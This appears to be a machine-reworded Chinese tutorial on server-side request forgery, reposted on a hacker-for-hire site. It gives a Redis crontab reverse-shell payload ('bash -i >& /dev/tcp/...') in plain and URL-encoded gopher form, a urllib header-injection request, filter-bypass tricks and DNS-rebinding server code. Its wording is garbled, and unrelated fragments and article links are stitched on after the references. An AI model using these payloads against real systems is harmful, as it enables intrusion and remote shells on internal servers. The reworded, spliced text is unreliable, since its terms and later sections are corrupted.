软件分类:SSRF缝隙(原理&绕过姿态)

访客4年前关于黑客接单825

[+] Author: Hope
[+] Team: 期望Team

0x00 前语
文章不足之处,望多纠正。

0x01 概述
SSRF(Server-Side Request Forgery, 服务端恳求假造)运用缝隙可以建议 *** 恳求来侵犯内网服务。
运用SSRF能完成以下作用:
1)        扫描内网(主机信息搜集,Web运用指纹辨认)
2)        依据所辨认运用发送结构的Payload进行侵犯
3)        Denial of service

0x02 缝隙运用 

a)      SSRF in PHP

1.        环境建立


 

<?PHP        $URL = $_GET['URL'];        $CH = CURL_INIT();        CURL_SETOPT($CH, CURLOPT_URL, $URL);        CURL_SETOPT($CH, CURLOPT_HEADER, FALSE);        CURL_SETOPT($CH, CURLOPT_RETURNTRANSFER, TRUE);        CURL_SETOPT($CH, CURLOPT_SSL_VERIFYPEER, FALSE);        // 答应302跳转        CURL_SETOPT($CH, CURLOPT_FOLLOWLOCATION, TRUE);        $RES = CURL_EXEC($CH);        // 设置CONTENT-TYPE        HEADER('CONTENT-TYPE: IMAGE/PNG');        CURL_CLOSE($CH) ;        //回来呼应        ECHO $RES;?>



便利我们更直观了解,上述代码用来模仿ssrf,运用curl建议 *** 恳求然后回来客户端,这儿我恳求加载图片



2.        运用 ***

一般建议 *** 恳求中会运用libcurl库,来看下它所支撑的协议




除了http/https,还有一些可运用的协议如下
        DICT




除了走漏装置软件版别信息,还可以检查端口,操作内网redis服务等


        File




        Gopher
全能协议(运用Gopher侵犯Redis、侵犯Fastcgi 等

        FTP(S)/ *** B(S)
匿名访问及爆炸

        Tftp
UDP协议  发送UDP数据包

        Telnet
SSH/Telnet匿名访问及爆炸


 



3.        总结

file_get_contents()fsockopen()curl_exec()


以上三个函数运用不妥会形成SSRF缝隙

大部分 PHP 并不会敞开 fopen 的 gopher wrapperfile_get_contents 的 gopher 协议不能 URLencodefile_get_contents 关于 Gopher 的 302 跳转有 bug,导致运用失利curl/libcurl 7.43 上 gopher 协议存在 bug(%00 切断),经检验 7.49 可用curl_exec() //默许不盯梢跳转,file_get_contents() // file_get_contents支撑php://input协议



修正计划:
•        约束协议为HTTP、HTTPS
•        制止30x跳转
•        设置URL白名单或许约束内网IP

需求留心的是,回显是能否成功运用的重要的条件,在某些场景协议限制为HTTP形式且没有回显,运用
会相对杂乱了。

b)        SSRF in Java
1.        环境建立



编写脚本扫描内网敞初步口的主机




通过ssrf 探测到内网中redis服务器 ‘172.19.0.2:6379’正常访问

结构脚本写入 目录‘/etc/crontab‘

```set 1 "nnnn* * * * * root bash -i >& /dev/tcp/172.18.0.1/21 0>&1nnnn"config set dir /etc/config set dbfilename crontabsave```


进行url编码:

```test%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn*%20*%20*%20*%20*%20root%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F172.18.0.1%2F21%200%3E%261%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa```


反弹shell




2.        运用 ***
*** 恳求支撑的协议如下
http,https,file,ftp,mailto,jar,netdoc
比照php的ssrf,java这块运用相对约束,

3.        总结
以下几品种引证不妥会形成SSRF
Request类,URL类的openStream,HttpClient类,URLConnection和HttpURLConnection类,
修正计划:
•        约束协议为HTTP、HTTPS
•        不必约束302重定向
•        设置URL白名单或许约束内网IP

c)        SSRF in Python
1.        环境建立
HTTP Header Injection in Python urllib  ,
当运用了Python 的urllib库,恳求url为用户可控时,就或许存在ssrf缝隙,且可以通过缝隙python urllib http头注入完成对内网未授权仿问的redis 服务器getshell
Python 检验脚本代码:test.py

#!/usr/bin/env python3import sysimport urllibimport urllib.errorimport urllib.requesturl = sys.argv[1]try:    info = urllib.request.urlopen(url).info()    print(info)except urllib.error.URLError as e:    print(e)

检验一下通过http头注入来向redis写入一般的文本: 

./test.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo



 

GET /foo HTTP/1.1Accept-Encoding: identityUser-Agent: Python-urllib/3.4Host: 127.0.0.1X-injected: headerx-leftover: :12345Connection: close


2.        缝隙运用
通过Redis的通讯协议来打破空格的约束:(详细运用参阅链接下方
3.        总结
修正计划:
1.        解析方针URL,获取其Host
2.        解析Host,获取Host指向的IP地址
3.        检查IP地址是否为内网IP
4.        恳求URL
5.        如果有跳转,拿出跳转URL,实行1

0x03 发掘缝隙
对外建议 *** 恳求的当地都或许存在SSRF缝隙,罗列
图片加载下载,共享页面,在线翻译,未公开的api(从长途服务器恳求资源 
文件处理,编码处理, 特色信息处理,
        Ffpmg
        ImageMaic
        
数据库内置功用
        PostgreSQL
        MongoDB
        CouchDB



0x04 绕过技巧
@
增加端口号
短网址绕过
指向任意IP的域名xip.io
10.0.0.1.xip.io   resolves to   10.0.0.1
www.1

下图中AUTH_PASSWORD的长度是64位预示着暗码明文的长度应该是1-15位之间。

0.0.0.1.xip.io   resolves to   10.0.0.1
mysite.10.0.0.1.xip.io   resolves to   10.0.0.1
foo.bar.10.0.0.1.xip.io   resolves to   10.0.0.1
IP约束绕过
十进制转化 八进制转化 十六进制转化  不同进制组合转化
协议约束绕过
栗子
当url协议限制只为http(s)时,可以运用follow redirect 特性
结构302跳转服务,
结合dict:// file:// gopher://

DNS rebinding
DNS重绑定可以运用于ssrf绕过 ,bypass 同源战略等,,,这儿介绍三种 ***
1.        特定域名完成TTL=0
2.        域名绑定两条A记载




1/4的概率,当之一次解析为外网ip,第2次解析为内网ip,就会成功。
3.        自建DNS服务器
过程如下:增加一条ns记载和一条a记载




Ns记载表明这个子域名test.h0pe.site指定由ns.h0pe.site域名服务器解析,
A记载表明ns.h0pe.site方位在ip地址xxx.xxx.xxx.xxx上
在这个ip地址上建立DNS服务器,选用python库中的twisted库中的name模块,中心代码如下:

from twisted.internet import reactor, deferfrom twisted.names import client, dns, error, serverrecord={}class DynamicResolver(object):    def _doDynamicResponse(self, query):        name = query.name.name        if name not in record or record[name]<1:            ip="104.160.43.154"        else:            ip="171.18.0.2"        if name not in record:            record[name]=0        record[name]+=1        print name+" ===> "+ip        answer = dns.RRHeader(            name=name,            type=dns.A,            cls=dns.IN,            ttl=0,            payload=dns.Record_A(address=b'%s'%ip,ttl=0)        )        answers = [answer]        authority = []        additional = []        return answers, authority, additional    def query(self, query, timeout=None):        return defer.succeed(self._doDynamicResponse(query))def main():    factory = server.DNSServerFactory(        clients=[DynamicResolver(), client.Resolver(resolv='/etc/resolv.conf')]    )    protocol = dns.DNSDatagramProtocol(controller=factory)    reactor.listenUDP(53, protocol)    reactor.run()if __name__ == '__main__':    raise SystemExit(main())

Root 权限工作,

0x05参阅
http://blog.safebuff.com/2016/07/03/SSRF-Tips/
http://wavr.feei.cn/SSRF/
https://www.leavesongs.com/PYTHON/defend-ssrf-vulnerable-in-python.html
http://bendawang.site/article/%E5%85%B3%E4%BA%8EDNS-rebinding%E7%9A%84%E6%80%BB%E7%BB%93
https://ricterz.me/posts/%E5%88%A9%E7%94%A8%20gopher%20%E5%8D%8F%E8%AE%AE%E6%8B%93%E5%B1%95%E6%94%BB%E5%87%BB%E9%9D%A2
https://security.tencent.com/index.php/blog/msg/106

 

软件分类:SSRF缝隙(原理&绕过姿态)

NtOpenSection在db的命令行里可以看到,文件访问现已成功。实行: powershell -file lock-screen.ps1DebuggeeFunction:SSRF漏洞(原理&绕过姿势)

软件分类· 发现工作MySQL评论分三部分,包括准备篇、实践篇和展望篇。https://docs.microsoft.com/en-us/powershell/module/grouppolicy/?view=win10-ps

检验注册表值 }set Flag=0软件分类

/* service httpd start②设置项目特色:

现在针对Mifare卡片的侵犯主要有三种 *** :[root@centos7 ~]# ls -Z /root/passwdSSRF漏洞(原理&绕过姿势)

软件分类动态替换手机客户端和Web 运用程序的输入验证和输出过滤应该遵照相同的规则。要标准化转化和活泼验证全部的输入数据。即使关于本地SQLite/SQLcipher 的查询调用,也运用参数化查询。当运用URL scheme 时,要格外留心验证和接收输入,因为设备上的任何一个运用程序都可以调用URL scheme。当开发一个Web/移动端混合的运用时,保证本地/local 的权限是满足其工作要求的更低权限。还有就是控制全部UIWebView 的内容和页面,防止用户访问任意的、不可信的 *** 内容。python setup.py install

从Windows 10 RedStone预览版14271起,Windows Defender新增内置版“离线杀毒”功用,用户不需求手动 *** 闪存盘或光盘发起介质,也可以直接进入安全环境来查杀病毒。

检查现已发起Windows 服务软件分类

缺陷:

[1][2][3][4][5][6]黑客接单网

  1、在Linux服务器上扫描安全缝隙  但是,指纹辨认功用中却存在一个规划缺陷。因为用户的指纹信息并不是什么秘要数据,用户很或许在许多其他的当地都留下了他们的指纹,而指纹信息是可以通过拍摄等 *** 来进行拷贝的。SSRF漏洞(原理&绕过姿势)

#include  "query":"80.http.get.headers.server: apache", 

上一年年底,360安全中心监控发现,原本现已安静一段时间的网页挂马数量骤增,相关的恶意软件传达量也初步暴增,许多由缝隙引发的木马侵犯案例不断出现。360网页防护也在快速更新,动态阻挠了大批挂马侵犯,并阻挠了许多挂马网站的访问。

虽然搜索现已结束,查询人员还没有证明硬盘是否被收回。但是,假设现已找到湖中的硬盘,数据取证专家说,假设只是泡水被打湿,数据很简略恢复,要完全毁掉一块硬盘还需求有更有用的 *** 。
本文标题:软件分类:SSRF缝隙(原理&绕过姿态)

相关文章

怎么判断自己得了痔疮(痔疮是如何自检的)

怎么判断自己得了痔疮(痔疮是如何自检的)我们有时候觉得自己可能是患有了痔疮疾病,但是自己不能确定是否是痔疮疾病,那么痔疮应该怎样自检,又应该如何治疗呢?让我们一起来听听专家是如何回答的。1、患者自己如...

去角质是在洗面奶之前还是之后(去角质是用完洗面奶之前还是之后)

如果长时间不清洁,我们的脸上就有好多黑东西,这时很多爱美的姐妹们都会使用一些去角质产品,它可以让我们脸看起来更加白净,有些人其实搞不清楚去角质是用在洗面奶之前还是之后,接下来就让小编来给大家科普。...

哪里可以查丈夫和别人的聊天记录

静静的看着孩子熟睡的脸庞,真的是最幸福的事情。当了妈妈以后,内心似乎多了许多柔软。每天晚上看着宝宝熟睡的模样是一天中最幸福的时光,看着孩子熟睡的心情说说 看着孩子熟睡幸福感慨朋友圈。 看着孩子熟睡的...

计算机病毒延误了哈特福德公立学校的第一天

哈特福德——依据一封致学员与家庭的信,勒索病毒病原体促进该地的民办学校延迟了第二天的开学日期。 自三月份COVID-19大时兴院校关掉至今,星期二是马萨诸塞州很多老师学生的第一天回家。 可是,哈特福德...

普通人能查的到微信聊天记录吗?

普通人能查的到微信聊天记录吗?

我们先打开微信,选择一个好友,点开右上角,选择查找聊天内容,这时候我们就可以在搜索栏内输入平常聊天的关键字,点击下搜索,这时候就会出现关键字相关的聊天内容,只要你没删除过聊天记录,如果你需要查询是...

11个月宝宝食谱及做法有哪些!

11个月宝宝食谱及做法有哪些!

十一个月的宝宝发育指标 一、体格外观与生长 宝宝满十一个月时身高体重指标: 男婴体重7.9~12.0千克,身长69.6~80.2厘米;头围(cm)42.3-50.2平均46.1 女婴体重达...